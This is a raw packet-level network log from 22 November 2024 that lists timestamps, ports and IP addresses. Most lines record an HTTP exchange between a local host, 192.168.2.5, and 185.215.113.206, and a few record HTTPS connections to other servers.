Nov 22, 2024 00:11:52.596486092 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.596533060 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.596594095 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.597532988 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.597601891 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.597632885 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.597668886 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.598633051 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.598691940 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.598696947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.598730087 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.628910065 CET	443	49858	152.195.19.97	192.168.2.5
Nov 22, 2024 00:11:52.651899099 CET	443	49858	152.195.19.97	192.168.2.5
Nov 22, 2024 00:11:52.651920080 CET	443	49858	152.195.19.97	192.168.2.5
Nov 22, 2024 00:11:52.651957035 CET	443	49858	152.195.19.97	192.168.2.5
Nov 22, 2024 00:11:52.651985884 CET	49858	443	192.168.2.5	152.195.19.97
Nov 22, 2024 00:11:52.652004957 CET	443	49858	152.195.19.97	192.168.2.5
Nov 22, 2024 00:11:52.652028084 CET	49858	443	192.168.2.5	152.195.19.97
Nov 22, 2024 00:11:52.652045965 CET	49858	443	192.168.2.5	152.195.19.97
Nov 22, 2024 00:11:52.652271032 CET	49858	443	192.168.2.5	152.195.19.97
Nov 22, 2024 00:11:52.652287006 CET	443	49858	152.195.19.97	192.168.2.5
Nov 22, 2024 00:11:52.687823057 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:52.687973022 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:52.688025951 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:52.688618898 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:52.688642025 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:52.688657045 CET	49857	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:52.688663960 CET	443	49857	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:52.695115089 CET	49865	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:52.695156097 CET	443	49865	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:52.695293903 CET	49865	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:52.695533037 CET	49865	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:52.695547104 CET	443	49865	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:52.743153095 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.743217945 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.743237019 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.743280888 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.743684053 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.743732929 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.743740082 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.743774891 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.744740009 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.744788885 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.744895935 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.744942904 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.745811939 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.745866060 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.746260881 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.746289968 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.746315002 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.746330976 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.747279882 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.747323990 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.747384071 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.747421980 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.748369932 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.748411894 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.748475075 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.748521090 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.749496937 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.749617100 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.749638081 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.749672890 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.750566959 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.750632048 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.750689030 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.750729084 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.751765966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.751806974 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.751844883 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.751863003 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.752737045 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.752839088 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.752866983 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.752913952 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.753829956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.753899097 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.753946066 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.753988981 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.754951000 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.755033970 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.755068064 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.755108118 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.756006956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.756066084 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.756074905 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.756104946 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.757131100 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.757199049 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.757229090 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.757271051 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.758233070 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.758296013 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.758333921 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.758385897 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.759375095 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.759418011 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.759448051 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.759485960 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.760746956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.760767937 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.760806084 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.760838985 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.761499882 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.761547089 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.761615038 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.761655092 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.762604952 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.762646914 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.762700081 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.762770891 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.763731003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.763787031 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.763827085 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.763943911 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.764780045 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.764827967 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.764883995 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.765217066 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.765887976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.765937090 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.765989065 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.766207933 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.767010927 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.767064095 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.767096996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.767143011 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.768074989 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.768186092 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.768234968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.769166946 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.769227028 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.769273996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.769311905 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.770297050 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.770349026 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.770447016 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.770494938 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.771406889 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.771455050 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.771495104 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.771538019 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.772495985 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.772548914 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.772638083 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.772676945 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.773626089 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.773670912 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.773747921 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.773789883 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.774671078 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.774734020 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.774813890 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.774856091 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.775782108 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.775854111 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.775898933 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.775943041 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.776863098 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.776925087 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.776969910 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.777007103 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.777957916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.778012037 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.778156996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.778203964 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.779052019 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.779114962 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.779126883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.779165983 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.780134916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.780201912 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.780314922 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.780590057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.781227112 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.781284094 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.781356096 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.781445980 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.782335043 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.782393932 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.782474995 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.782515049 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.783392906 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.783464909 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.783499002 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.783548117 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.784513950 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.784575939 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.784657955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.785068035 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.785480976 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:52.785645962 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.785685062 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.785761118 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.785805941 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.786247969 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:52.786271095 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:52.786638975 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:52.786699057 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.786744118 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.786813974 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.786940098 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.787853003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.787939072 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.787962914 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.787983894 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.788898945 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.788913012 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.788950920 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.788964033 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.789997101 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.790066957 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.790102005 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.790141106 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.790329933 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.790357113 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.790364027 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.790376902 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.790383101 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.790385962 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.790412903 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.790429115 CET	443	49855	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.790458918 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.790477991 CET	49855	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.791081905 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.791138887 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.791158915 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.791222095 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.792197943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.792270899 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.792422056 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.792481899 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.793198109 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:52.793283939 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.793306112 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:52.793361902 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.793380976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.793442011 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.794090033 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:52.794112921 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:52.794121981 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:52.794384956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.794436932 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.794487953 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.794532061 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.795469999 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.795536995 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.795574903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.795620918 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.796602011 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.796669006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.796720028 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.796830893 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.797683954 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.797744989 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.797812939 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.797856092 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.798732996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.798804045 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.798847914 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.798890114 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.799860954 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.799928904 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.799943924 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.799983025 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.854855061 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.854876041 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.854882956 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.854897022 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.854903936 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.854911089 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.854942083 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.854959011 CET	443	49856	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:52.854995012 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.855024099 CET	49856	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:52.950248957 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.950321913 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.950355053 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.950395107 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.950784922 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.950824022 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.950882912 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.950922012 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.951916933 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.951963902 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.952008963 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.952145100 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.952971935 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.953017950 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.953061104 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.953099966 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.954077959 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.954124928 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.954224110 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.954262972 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.955199003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.955296993 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.955338955 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.956259966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.956326008 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.956363916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.956404924 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.957355976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.957426071 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.957495928 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.957751036 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.958446980 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.958508968 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.958553076 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.958590984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.959543943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.959600925 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.959606886 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.959639072 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.960644960 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.960700989 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.960712910 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.960751057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.961745024 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.961834908 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.961853027 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.961886883 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.962869883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.962935925 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.962943077 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.962977886 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.963920116 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.963988066 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.964052916 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.964159012 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.965035915 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.965092897 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.965157986 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.965328932 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.966115952 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.966161966 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.966206074 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.966244936 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:52.967201948 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:52.967251062 CET	49788	80	192.168.2.5	185.215.113.206
